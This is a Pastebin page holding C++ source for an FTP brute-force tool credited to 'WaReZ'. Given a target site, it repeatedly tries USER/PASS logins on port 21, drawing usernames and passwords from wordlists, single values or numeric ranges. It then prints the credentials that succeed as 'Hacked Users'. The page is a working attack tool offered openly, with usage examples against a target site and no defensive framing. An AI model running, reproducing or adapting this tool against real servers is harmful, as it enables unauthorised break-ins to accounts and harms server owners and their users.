Advertisement
Guest User

Untitled

a guest
May 5th, 2017
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 11.49 KB | None | 0 0
  1. /*****
  2. Ftp Brute Force , v1.0.
  3. Written By WaReZ  
  4. -----------------
  5.  
  6. Options:
  7.         Single Username - Password list , Range passwords.
  8.         Usernames list - Passwords List , Single password , Range Passwords.
  9.  
  10. Compile:        
  11.         g++ ftp.cpp -o ftp.exe
  12. *****/
  13.  
  14. #include <iostream>
  15. #include <winsock.h>
  16. #include <fstream>
  17. using namespace std;
  18.  
  19. int ftp_connect(string user,string pass,char *site) {
  20.          
  21. sockaddr_in address;
  22.          
  23. size_t userSize = user.length()+1;
  24. size_t passSize = pass.length()+1;
  25. char username[userSize],password[passSize];
  26. ZeroMemory(&username[0],userSize);
  27. ZeroMemory(&password[0],passSize);
  28.          
  29. strncpy(username,user.c_str(),userSize);
  30. strncpy(password,pass.c_str(),passSize);
  31.          
  32. char recv2[256];
  33. ZeroMemory(&recv2,256);
  34.          
  35. hostent *host;
  36. host = gethostbyname(site);
  37.  
  38. if(host != NULL)
  39. {    
  40. int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  41.            
  42. address.sin_family = AF_INET;
  43. address.sin_addr.s_addr = ((in_addr *)host->h_addr)->s_addr;
  44. address.sin_port = htons(21);      
  45.  
  46.  
  47. int c,s,r;
  48. c = connect(sock,(struct sockaddr*)&address,sizeof(address));
  49. r = recv(sock,recv2,sizeof(recv2),0);
  50. s = send(sock,username,strlen(username),0);
  51. r = recv(sock,recv2,sizeof(recv2),0);
  52. s = send(sock,password,sizeof(password),0);
  53. r = recv(sock,recv2,sizeof(recv2),0);
  54.  
  55.  
  56.   if(strstr(recv2,"230"))
  57.   {
  58.      return 230;
  59.   }
  60.          
  61.   else if(strstr(recv2,"530"))
  62.   {
  63.      return 530;
  64.   }
  65.  
  66.   else if(c != 0)
  67.   {
  68.      return -1;
  69.   }
  70.                      
  71.   else
  72.   {
  73.      return WSAGetLastError();
  74.   }
  75.   cout << "1";
  76.  
  77. }
  78.  
  79.   else
  80.   {
  81.     return -1;
  82.   }  
  83.  
  84. }          
  85.  
  86. int main(int argc,char *argv[])
  87. {
  88.      
  89. cout << "\n#####################################\n"
  90.          "# Ftp Brute Force                   #\n"    
  91.          "# Written By WaReZ                  #\n"
  92.          "#####################################\n\n";
  93.    
  94. WSADATA wsaData;
  95.  
  96. if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
  97. {
  98.   cout << "WSAGetLastError(): " << WSAGetLastError();
  99.   exit(1);
  100. }
  101.  
  102.          
  103. if(argc < 2)
  104. {
  105.   cout << "Usage: " << argv[0] << "\n\n";
  106.   cout << "-user         singal username\n";
  107.   cout << "-ul           usernames list\n";
  108.   cout << "-start        start range\n";
  109.   cout << "-end          end range\n";
  110.   cout << "-pl           passwords list\n";
  111.   cout << "-sp           singal password for users list\n";
  112.   cout << "-site         site that be checked\n\n";
  113.  
  114.   cout << "Example: " << argv[0] << " -site site.com -user admin -start 0 -end 10000\n";
  115.   cout << "         " << argv[0] << " -site site.com -ul users.txt -sp 123456\n";
  116. }
  117.  
  118.          
  119. else
  120. {
  121.   cout <<  "[~] Starting ...\n\n";
  122.   char buffer[256],rcv[256],error[256];  
  123.  
  124.  
  125.   int check = 0;
  126.   int tstart = 0 ,tend = 0;
  127.   int u = 0,start = 0 ,ul = 0,pl = 0,end = 0,spass = 0,check_site = 0,hacked = 0,line = 0;
  128.   string user,pass,site2,realuser,sinpass,realpass,fileusers,length,correct_pass;
  129.   char passwords[256],site[256] = "", users[256];
  130.   ifstream passlist,userlist;
  131.  
  132.  for(int i = 1 ; i <= argc-1;i++)
  133.  {
  134.              
  135.     if(argv[i+1] != NULL)
  136.     {
  137.            
  138.      if(strstr(argv[i],"-user"))
  139.      {
  140.         realuser = argv[i+1];        
  141.         user = "USER ";
  142.         user += argv[i+1];
  143.         user += "\r\n";
  144.         u = 1;                    
  145.      }
  146.      
  147.      if(strstr(argv[i],"-start"))
  148.      {                        
  149.         tstart = atoi(argv[i+1]);
  150.         start = 1;              
  151.      }
  152.      
  153.      if(strstr(argv[i],"-end"))
  154.      {                      
  155.         tend = atoi(argv[i+1]);
  156.         end = 1;                                    
  157.      }
  158.      
  159.      if(strstr(argv[i],"-pl"))
  160.      {                      
  161.         passlist.open(argv[i+1]);
  162.         if(!passlist.fail())
  163.         {
  164.         pl = 1;
  165.         }                            
  166.      }
  167.      
  168.      if(strstr(argv[i],"-site"))
  169.      {                              
  170.        site2 = argv[i+1];
  171.        strncpy(site,site2.c_str(),256);
  172.        check_site = 1;                            
  173.      }
  174.      
  175.      if(strstr(argv[i],"-ul"))
  176.      {
  177.         userlist.open(argv[i+1]);
  178.         if(!userlist.fail())
  179.         {
  180.         ul = 1;
  181.         }                  
  182.      }
  183.      
  184.      if(strstr(argv[i],"-sp"))
  185.      {
  186.         sinpass = argv[i+1];
  187.         realpass = argv[i+1];
  188.         spass = 1;                        
  189.      }
  190.      
  191.   }        
  192. }
  193.  
  194.  
  195. if(u == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
  196. {
  197.    for(int p = tstart ; p <= tend; p++)
  198.    {  
  199.          pass = "PASS ";
  200.          pass+=itoa(p,buffer,10);
  201.          pass+= "\r\n";
  202.  
  203.          int b = ftp_connect(user,pass,site);
  204.          
  205.          if(b == 230)
  206.          {
  207.              cout << realuser << "::" << p << " - Succeed" << endl;
  208.              break;
  209.          }
  210.          
  211.          else if(b == 530)
  212.          {
  213.              cout << realuser << "::" << p << " - Fail" << endl;
  214.          }
  215.        
  216.          else if(b == -1)
  217.          {
  218.              cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
  219.              break;    
  220.          }
  221.        
  222.          else
  223.          {            
  224.              cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  225.              break;
  226.          }
  227.                        
  228.    }
  229. }
  230.    
  231. else if(pl == 1 && u == 1 && check_site == 1)
  232. {      
  233.    while(!passlist.eof())
  234.    {                          
  235.       passlist.getline(passwords,100);  
  236.       pass = "PASS ";
  237.       pass+= passwords;
  238.       pass+= "\r\n";
  239.      
  240.       int b = ftp_connect(user,pass,site);
  241.        
  242.       if(b == 230)
  243.       {
  244.           cout << realuser << "::" << passwords << " - Succeed" << endl;
  245.           break;
  246.       }
  247.          
  248.       else if(b == 530)
  249.       {
  250.           cout << realuser << "::" << passwords << " - Fail" << endl;
  251.       }
  252.      
  253.       else if(b == -1)
  254.       {
  255.           cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
  256.           break;    
  257.       }
  258.        
  259.       else
  260.       {            
  261.           cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  262.           break;
  263.       }                        
  264.    
  265.    }
  266. }
  267.  
  268. else if(ul == 1 && pl == 1 && check_site == 1)
  269. {        
  270.    while(!userlist.eof())
  271.    {
  272.       userlist.getline(users,100);
  273.       user = "USER ";
  274.       user+= users;
  275.       user+= "\r\n";                        
  276.      
  277.       while(!passlist.eof())
  278.       {          
  279.          passlist.getline(passwords,100);  
  280.          pass = "PASS ";
  281.          pass+= passwords;
  282.          pass+= "\r\n";
  283.  
  284.          int b = ftp_connect(user,pass,site);
  285.      
  286.          if(b == 230)
  287.          {
  288.              cout << users << "::" << passwords << " - Succeed" << endl;
  289.              correct_pass+= users;
  290.              correct_pass+= "::";
  291.              correct_pass+= passwords;
  292.              correct_pass+= "\n";
  293.              hacked+= 1;
  294.              break;    
  295.          }
  296.          
  297.          else if(b == 530)
  298.          {
  299.              cout << users << "::" << passwords << " - Fail" << endl;          
  300.          }
  301.        
  302.          else if(b == -1)
  303.          {
  304.             cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
  305.             break;    
  306.          }      
  307.        
  308.          else
  309.          {            
  310.              cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  311.              break;
  312.          }
  313.          
  314.          if(passlist.eof())
  315.          {
  316.             cout << "-------------------------\n";              
  317.             passlist.clear();              
  318.             passlist.seekg(0,ios::beg);
  319.             break;                    
  320.          }
  321.  
  322.      }
  323.      
  324.   }
  325.  
  326.   cout << "\nHacked Users:\n\n";
  327.   cout << correct_pass;
  328.   cout << "\n" << hacked << " Users Was Hacked\n";
  329. }
  330.  
  331. else if(spass == 1 && ul == 1 && check_site == 1)
  332. {
  333.    while(!userlist.eof())
  334.    {
  335.       userlist.getline(users,100);
  336.       user = "USER ";
  337.       user+= users;
  338.       user+= "\r\n";  
  339.          
  340.       pass = "PASS ";
  341.       pass+= sinpass;
  342.       pass+= "\r\n";
  343.              
  344.       int b = ftp_connect(user,pass,site);
  345.        
  346.       if(b == 230)
  347.       {
  348.           cout << users << "::" << realpass << " - Succeed" << endl;
  349.           fileusers+= users;
  350.           fileusers+= "::";
  351.           fileusers+= realpass;
  352.           fileusers+= "\n";
  353.           hacked+= 1;
  354.       }
  355.          
  356.       else if(b == 530)
  357.       {
  358.           cout << users << "::" << realpass << " - Fail" << endl;          
  359.       }
  360.      
  361.       else if(b == -1)
  362.       {
  363.           cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
  364.           break;    
  365.       }
  366.        
  367.       else
  368.       {            
  369.           cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  370.           break;
  371.       }
  372.                                          
  373.    }  
  374.      
  375.       if(hacked > 0)
  376.       {        
  377.          cout << "\n\nHacked Users:\n\n";
  378.          cout << fileusers;
  379.          cout << "\n" << hacked << " Users was Hacked\n";
  380.       }
  381.      
  382.       else
  383.       {
  384.          cout << "\n\nNon password was matched.\n\n";  
  385.       }
  386.        
  387. }
  388.  
  389. else if(ul == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
  390. {
  391.     while(!userlist.eof())
  392.     {                        
  393.        userlist.getline(users,100);
  394.          
  395.        for(int d = tstart ; d <= tend;d++)
  396.        {  
  397.          
  398.           user = "USER ";
  399.           user+= users;
  400.           user+= "\r\n";
  401.          
  402.           pass = "PASS ";
  403.           pass+= itoa(d,buffer,10);
  404.           pass+= "\r\n";  
  405.          
  406.           int b = ftp_connect(user,pass,site);
  407.        
  408.           if(b == 230)
  409.           {
  410.               cout << users << "::" << d << " - Succeed" << endl;
  411.               fileusers+= users;
  412.               fileusers+= "::";
  413.               fileusers+= itoa(d,buffer,10);
  414.               fileusers+= "\n";
  415.               hacked+= 1;
  416.               break;
  417.           }
  418.            
  419.           else if(b == 530)
  420.           {
  421.               cout << users << "::" << d << " - Fail" << endl;          
  422.           }
  423.                  
  424.           else if(b == -1)
  425.           {
  426.              cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
  427.              break;    
  428.           }
  429.            
  430.           else
  431.           {          
  432.              cout << "WSAGetLastError: " << SOCKET_ERROR  << endl;
  433.              break;
  434.           }    
  435.    
  436.       }
  437.           cout << "----------------------\n";  
  438.    }
  439.    
  440.       if(hacked > 0)
  441.       {
  442.          cout << "\n\nHacked Users:\n\n";
  443.          cout << fileusers;
  444.          cout << "\n" << hacked << " Users was Hacked\n";
  445.       }
  446.      
  447.       else
  448.       {
  449.         cout << "\n\nNon password was matched\n\n";    
  450.       }        
  451. }  
  452.    
  453. else
  454. {
  455.     if(tstart > tend)
  456.     {
  457.       cout << "Error: Start range bigger then end range.\n";        
  458.     }
  459.    
  460.     else if(strlen(site) < 1)
  461.     {
  462.        cout << "Error: You forget to write the site.\n";
  463.     }
  464.    
  465.     else if(passlist.fail() || userlist.fail())
  466.     {
  467.       cout << "Error: Can't open file , check if the file is really exist and he with correct permission.\n";    
  468.     }
  469.      
  470.     else
  471.     {
  472.       cout << "Error:\ncheck the arguments , maybe you forget to write something \nor you have mistake in some argument\nor that the option you chose not exist\n";
  473.     }
  474. }      
  475.    
  476. }
  477. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement